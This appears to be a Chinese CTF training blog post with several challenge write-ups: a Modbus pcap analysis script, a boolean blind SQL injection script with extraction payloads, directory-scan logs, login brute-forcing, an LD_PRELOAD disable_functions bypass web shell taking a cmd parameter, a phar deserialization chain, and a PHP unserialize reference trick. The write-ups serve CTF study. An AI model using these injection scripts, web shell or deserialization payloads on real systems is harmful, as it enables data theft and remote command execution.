ciscn训练


modbus
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

def get_code():
captures = pyshark.FileCapture("question_1564353677_modbus1.pcap")
func_codes = {}
for c in captures:
for pkt in c:
if pkt.layer_name == "modbus":
func_code = int(pkt.func_code)
if func_code in func_codes:
func_codes[func_code] += 1
else:
func_codes[func_code] = 1
print(func_codes)
if __name__ == '__main__':
get_code()


# 主要是为了得到挑战码
# 这就是 这个协议的作用地方利用脚本分析 挑战码然后去找异常

image.png

image.png

[CISCN 2019华北Day2]Web1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37


# 布尔盲注 但是注入点不允许and or 逻辑 只能是一个一个去试 注入到数字里面
import requests

url = 'http://node4.anna.nssctf.cn:28456/index.php'
database = ""

payload1 = "?stunum=1^(ascii(substr((select(database())),{},1))>{})^1" # 库名为ctf
payload2 = "?stunum=1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctf')),{},1))>{})^1" # 表名为flag,score
payload3 = "?stunum=1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),{},1))>{})^1" # 列名为flag,value
payload4 = "if(ascii(substr((select(flag)from(flag)),{},1))>{},1,2)" #


for i in range(1, 10000):
low = 32
high = 128
mid = (low + high) // 2
while (low < high):
DATA = {"id":payload4.format(i,mid)}
# payload = payload1.format(i,mid) #查库名
#payload = payload2.format(i,mid) #查表名
# payload = payload3.format(i,mid) #查列名
#payload = payload4.format(i, mid) # 查flag
new_url = url
r = requests.post(new_url,data=DATA)
if "Hello" in r.text:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
database += chr(mid)
# 这个是防止我的 for 循环太大了
if(mid==32 or mid==128):
break
print("[+]"+database)

[NSSCTF 3rd]NSS影院

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

[10:21:20] Starting:
[10:21:20] 301 - 185B - /js -> http://node7.anna.nssctf.cn/js/
[10:21:39] 200 - 0B - /.htaccess
[10:23:23] 301 - 185B - /article -> http://node7.anna.nssctf.cn/article/
[10:23:23] 200 - 1KB - /article/
[10:23:48] 301 - 185B - /comment -> http://node7.anna.nssctf.cn/comment/
[10:24:01] 301 - 185B - /data -> http://node7.anna.nssctf.cn/data/
[10:24:07] 301 - 185B - /detail -> http://node7.anna.nssctf.cn/detail/
[10:24:16] 200 - 1KB - /err.php
[10:24:23] 200 - 15KB - /favicon.ico
[10:24:39] 200 - 1KB - /i.php
[10:24:42] 301 - 185B - /include -> http://node7.anna.nssctf.cn/include/
[10:24:46] 301 - 185B - /install -> http://node7.anna.nssctf.cn/install/
[10:24:58] 301 - 185B - /list -> http://node7.anna.nssctf.cn/list/
[10:25:01] 200 - 1KB - /login.php
[10:25:10] 200 - 3KB - /member.php
[10:25:22] 301 - 185B - /news -> http://node7.anna.nssctf.cn/news/
[10:26:01] 200 - 1KB - /s.php
[10:26:04] 200 - 1KB - /search.php
[10:26:31] 301 - 185B - /templets -> http://node7.anna.nssctf.cn/templets/
[10:26:36] 301 - 185B - /topic -> http://node7.anna.nssctf.cn/topic/
[10:26:39] 301 - 185B - /upload -> http://node7.anna.nssctf.cn/upload/
[10:26:40] 301 - 185B - /uploads -> http://node7.anna.nssctf.cn/uploads/
[10:26:46] 301 - 185B - /video -> http://node7.anna.nssctf.cn/video/
[10:27:03] 200 - 42KB - /www.zip

www.zip 发现是一个密码字典 一看就是需要爆破

data目录

1
2
3
4
5
     
[10:50:24] 301 - 185B - /data/admin -> http://node7.anna.nssctf.cn/data/admin/
[10:51:30] 301 - 185B - /data/cache -> http://node7.anna.nssctf.cn/data/cache/
[10:55:33] 301 - 185B - /data/sessions -> http://node7.anna.nssctf.cn/data/sessions/

image.png

后来发现 在这里面有提示 是后台

image.png
进入是海洋cms

  1. 验证码 跟phpsessid 绑定 。一个phpsessid 可以多次放包利用同一个验证码 进行爆破
  2. 弱验证码 可以识别 爆破

刚才给了字典,利用字典这两种爆破都可以 。但是目前有个问题就是我们不知道用户 搜集了一下发帖子的 用户看到了一个 d3f4u1t

再拿到字典爆破成功登陆 看到flag

image.png

[CISCN 2023 西南]do_you_like_rea

后台登陆 admin/admin123
登陆后有一个上传点 ,可以上传一些文件

后来才发现我们有一个附件 ,里面有数据库配置信息 这个给不给都可以。太扯淡了,admin123 我自己就能试出来

image.png

上传点同样扯淡,这还需要代码审计 ,不是白名单,后缀随便传递 env

image.png

看了wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";

$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";

putenv("EVIL_CMDLINE=" . $evil_cmdline);

$so_path = $_GET["sopath"];
// 关键问题就在这里 ,这是一个很大的危险
/*LD_PRELOAD 是一个环境变量,允许攻击者在运行程序时强制加载特定的共享库。如果攻击者能够设置 LD_PRELOAD 为 bypass_disablefunc_x64.so,该库将在所有的程序启动时被加载。
这个恶意库可能会覆盖一些标准的库函数,例如 system()、exec(),或者甚至 mail(),从而允许攻击者执行任意命令*/
putenv("LD_PRELOAD=" . $so_path);


mail("", "", "", "");
//nl2br 是讲\n 转化成 html 的<br> 转化成html 输出
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";

unlink($out_path);
?>
[CISCN 2019华北Day1]Web1
1
2
3
4
5
[09:53:50] 200 -    1KB - /login.php                                        
[09:53:57] 200 - 1KB - /register.php
[09:54:01] 301 - 185B - /static -> http://node4.anna.nssctf.cn/static/
[09:54:04] 301 - 185B - /uploads -> http://node4.anna.nssctf.cn/uploads/

扫了半天发现一无所获。之后上传点传了一个jpg发现可以下载,下载可以下载绝对路径 直接下载任意文件

审计 download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include "class.php";
//初始化 配置 一般来讲 这个是设置安全目录 getcwd是设置 当前目录
// open_basedir 不会限制基于绝对路径的文件访问,但它会限制基于相对路径的文件访问。
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
// 改变目录为 s盒目录
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
// strister stristr()是一个 PHP 函数,它对字符串中的子字符串执行不区分大小写的搜索。
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
// basename 返回 文件名字 (最后的 )
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}

这里有任意文件下载主要是因为 open_basedir 因为他限制了。 当前脚本只有访问/var/www/html 和 /etc /tmp 的权限只能下载子目录

phar 反序列化
  1. 有文件上传点
  2. 有伪协议触发点
  3. 有危险序列化 操作

首先看一下 链子
// 链子 User()->Filelist()->close方法->call()方法->File()->close()方法执行->Filelist 析构方法执行

1
2
3
4
5
6
7
#FILE类 有危险操作 

public function close()
{
return file_get_contents($this->filename);
}

可以看到User 有一个 close 的方法调用但是close是关闭 数据库连接的 。但是$this->db可控可以换成
File的对象 但是我们发现我们并没有输出。我们无法返回到前端。也就是我们读了文件但是无法输出

1
2
3
4
public function __destruct()
{
$this->db->close();
}

Filelist有一个__call函数

1
2
3
4
5
6
7
public function __call($func, $args)
{
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

$func 是close 方法 $file 可以换成File对象。 然后可以利用 $file的close方法。然后保存到 $this->result方法中。 此时恰好__destruct 有可以回显我们result的功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

public function __destruct()
{
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}



$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
// value 是最后的文件执行的命令的结果
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}

于是我们的思路就是利用 User 的去调用 Filelist的___call 把我们的Filelist中的file换成File类的对象去执行close方法。然后保存在result中,最后在离开的时候去回显出来。

完整的链子。

触发phar
上传

phar 链子搭建好了只是完成了第一步,首先我们需要上传一个phar文件。这个phar文件生成的时候需要.phar 后缀但是上传之后随便后缀就可以。

触发

首先,利用phar协议[[php反序列化#phar触发点]] 我们可以有两个地方可以触发phar协议

download.php

image.png

image.png

都可以触发,但是不能用因为open_basedir 规定了不能读取根目录。所以flag读取不到。
delete.php

image.png
很幸运,delete.php 并没有相关操作。 因此可以用delete.php触发。

image.png
上传然后抓包 删除修改filename 成功触发序列化

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

<?php
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_\w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("

",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 63515;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

hubuctfweb3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);

$flag = getenv("GZCTF_FLAG");
class hubu{
public $token;
private $password;

public function __construct($t,$p){
$this->token= $t;
$this->password = $p;
}
public function login(){
return $this->token===$this->password;
}
}
$data = unserialize($_GET['hubu']);
$data->token=md5(mt_rand());

if($data->login()){
echo $flag;
}

使用了引用的功能,将两个属性使用引用,我们可以利用变量引用机制将两个变量地址引用相同,从而达到两个值无论怎么变化始终相等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php  
error_reporting(0);
highlight_file(__FILE__);

$flag = getenv("GZCTF_FLAG");

class hubu{
public $token;
public $password;

public function __construct(){
$this->token= &$this->password;
$this->password = 1;
}
public function login(){
return $this->token===$this->password;
}
}


$a=new hubu();
echo urlencode(serialize($a));

[陇剑杯 2021]内存分析(问1)

直接权证打开,找到密码文件然后找到密码。


文章作者: K1T0
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 K1T0 !
  目录